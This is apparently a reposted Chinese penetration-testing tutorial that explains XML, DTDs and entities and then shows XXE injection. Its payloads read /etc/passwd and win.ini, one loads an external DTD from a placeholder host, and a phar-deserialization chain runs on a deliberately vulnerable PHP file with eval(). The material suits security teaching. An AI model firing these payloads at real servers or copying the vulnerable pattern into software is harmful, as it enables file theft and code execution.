渗透测试-XXE XML外部实体注入 漏洞

XXE XML外部实体注入

 XXE(XML External Entity Injection) XML外部实体注入
XML是一种类似于HTML(超文本标记语言)的可扩展标记语言

用于标记电子文件使其具有结构性的标记语言,
可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。


XML文档结构
包括XML声明、
DTD文档类型定义(可选)、
文档元素。
 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?><!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>]><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>

根据以上代码,做出如下解释

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。

!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"

!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型

!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型

!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型

!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>

这是包含 DTD 的 "note.dtd" 文件:

<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。

通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。

您还可以使用 DTD 来验证您自身的数据。
 学习了DTD的两种引用方法,下面我们主要学习以下XXE漏洞需要利用的DTD实体

实体的概念:

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。

一个内部实体声明

语法:

<!ENTITY 实体名称 "实体的值">

例子:

DTD 例子:

<!ENTITY writer "Bill Gates"><!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

有了以上的XML和DTD的知识基础,我们就可以学习XXE漏洞了。

XXE漏洞——XML外部实体注入(XML External Entity)

当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞

例1<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]><x>&b;</x>

如果以上xml代码被解析,则会返回/etc/passwd文件的内容。

例2<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >%d;]><x>&xxe;</x>

http://xxxx.com/xxe.dtd的内容为:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

有的小伙伴可能已经发现了,例1中实体名前面并没有%,而例2中实体名前是有%的,这里的区别在于,例1中定义的实体是通用实体,而例2中定义的是参数实体,并且参数实体只能在dtd中使用,即例2代码中的第三行 %d;,这里就像在外面引用统用实体一样,这里的%d;就引用了http://xxx.com/xxe.dtd这个文件到dtd中。3<?xml version="1.0"?><!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd"><x>&xxe;</x>

http://xxxx.com/xxe.dtd的内容为:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

不同程序支持的协议不同,如下图:

LIBXML2PHPJAVA.NETfilefilehttpfilehttphttphttpshttpftpftpftphttpsphpfileftpcompress.zlibjarcompress.bzip2netdocdatamailtoglobgopher *phar



https://baijiahao.baidu.com/s?id=1684406204479440752&wfr=spider&for=pc
 xee 触发反序列化漏洞进行任意代码执行
xml 中有一个 Test 类,如果能反序列化该类的话就可以构造恶意代码执行。

https://xz.aliyun.com/t/10324

支持解析 xml 外部实体的协议如下

渗透测试-XXE XML外部实体注入 漏洞_第1张图片

 PHP 支持 phar 协议
只要有一个文件上传点,并且文件上传的路径是有回显的,那么就可以配合 xxe 漏洞去触发反序列化漏洞。
 第一步:先构造 Test 类的 phar 文件,假设生成的 phar 文件已经被上传到 xml.php 的同一个目录。

<?php
class Test{
    public function __construct(){
        $this->cmd = 'system(whoami);';
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

第二步:利用 xxe 漏洞使用 phar 协议解析 phar 文件成功执行命令。
 以下代码存在 xxe 漏洞。
xml.php:

<?php
class Test{
    public $cmd;
    public function __destruct()
    {
        eval($this->cmd);
    }
}
$xmlfile = @file_get_contents("php://input");
$result = @simplexml_load_string($xmlfile);
echo $result;

// 另一种解析 xml 的方式
// class Test{
//     public $cmd;
//     public function __destruct()
//     {
//         eval($this->cmd);
//     }
// }

// $file = file_get_contents("php://input");
// $dom = new DOMDocument();
// $dom->loadXML($file);
// $result = simplexml_import_dom($dom);
// echo $result;
触发 xxe 漏洞实现任意文件读取。

<?xml version="1.0"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<foo>&xxe;</foo>

XXE -“xml external entity injection” 既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

渗透测试-XXE XML外部实体注入 漏洞_第2张图片

渗透测试-XXE XML外部实体注入 漏洞_第3张图片渗透测试-XXE XML外部实体注入 漏洞_第4张图片渗透测试-XXE XML外部实体注入 漏洞_第5张图片
渗透测试-XXE XML外部实体注入 漏洞_第6张图片渗透测试-XXE XML外部实体注入 漏洞_第7张图片渗透测试-XXE XML外部实体注入 漏洞_第8张图片渗透测试-XXE XML外部实体注入 漏洞_第9张图片渗透测试-XXE XML外部实体注入 漏洞_第10张图片渗透测试-XXE XML外部实体注入 漏洞_第11张图片渗透测试-XXE XML外部实体注入 漏洞_第12张图片渗透测试-XXE XML外部实体注入 漏洞_第13张图片
渗透测试-XXE XML外部实体注入 漏洞_第14张图片

渗透测试-XXE XML外部实体注入 漏洞_第15张图片渗透测试-XXE XML外部实体注入 漏洞_第16张图片渗透测试-XXE XML外部实体注入 漏洞_第17张图片渗透测试-XXE XML外部实体注入 漏洞_第18张图片渗透测试-XXE XML外部实体注入 漏洞_第19张图片
渗透测试-XXE XML外部实体注入 漏洞_第20张图片渗透测试-XXE XML外部实体注入 漏洞_第21张图片在这里插入图片描述
渗透测试-XXE XML外部实体注入 漏洞_第22张图片
渗透测试-XXE XML外部实体注入 漏洞_第23张图片
渗透测试-XXE XML外部实体注入 漏洞_第24张图片渗透测试-XXE XML外部实体注入 漏洞_第25张图片
渗透测试-XXE XML外部实体注入 漏洞_第26张图片渗透测试-XXE XML外部实体注入 漏洞_第27张图片渗透测试-XXE XML外部实体注入 漏洞_第28张图片渗透测试-XXE XML外部实体注入 漏洞_第29张图片渗透测试-XXE XML外部实体注入 漏洞_第30张图片渗透测试-XXE XML外部实体注入 漏洞_第31张图片渗透测试-XXE XML外部实体注入 漏洞_第32张图片渗透测试-XXE XML外部实体注入 漏洞_第33张图片渗透测试-XXE XML外部实体注入 漏洞_第34张图片
渗透测试-XXE XML外部实体注入 漏洞_第35张图片
渗透测试-XXE XML外部实体注入 漏洞_第36张图片渗透测试-XXE XML外部实体注入 漏洞_第37张图片在这里插入图片描述渗透测试-XXE XML外部实体注入 漏洞_第38张图片
渗透测试-XXE XML外部实体注入 漏洞_第39张图片渗透测试-XXE XML外部实体注入 漏洞_第40张图片渗透测试-XXE XML外部实体注入 漏洞_第41张图片渗透测试-XXE XML外部实体注入 漏洞_第42张图片渗透测试-XXE XML外部实体注入 漏洞_第43张图片渗透测试-XXE XML外部实体注入 漏洞_第44张图片渗透测试-XXE XML外部实体注入 漏洞_第45张图片在这里插入图片描述
渗透测试-XXE XML外部实体注入 漏洞_第46张图片渗透测试-XXE XML外部实体注入 漏洞_第47张图片渗透测试-XXE XML外部实体注入 漏洞_第48张图片渗透测试-XXE XML外部实体注入 漏洞_第49张图片

你可能感兴趣的:(渗透测试,系统安全,安全)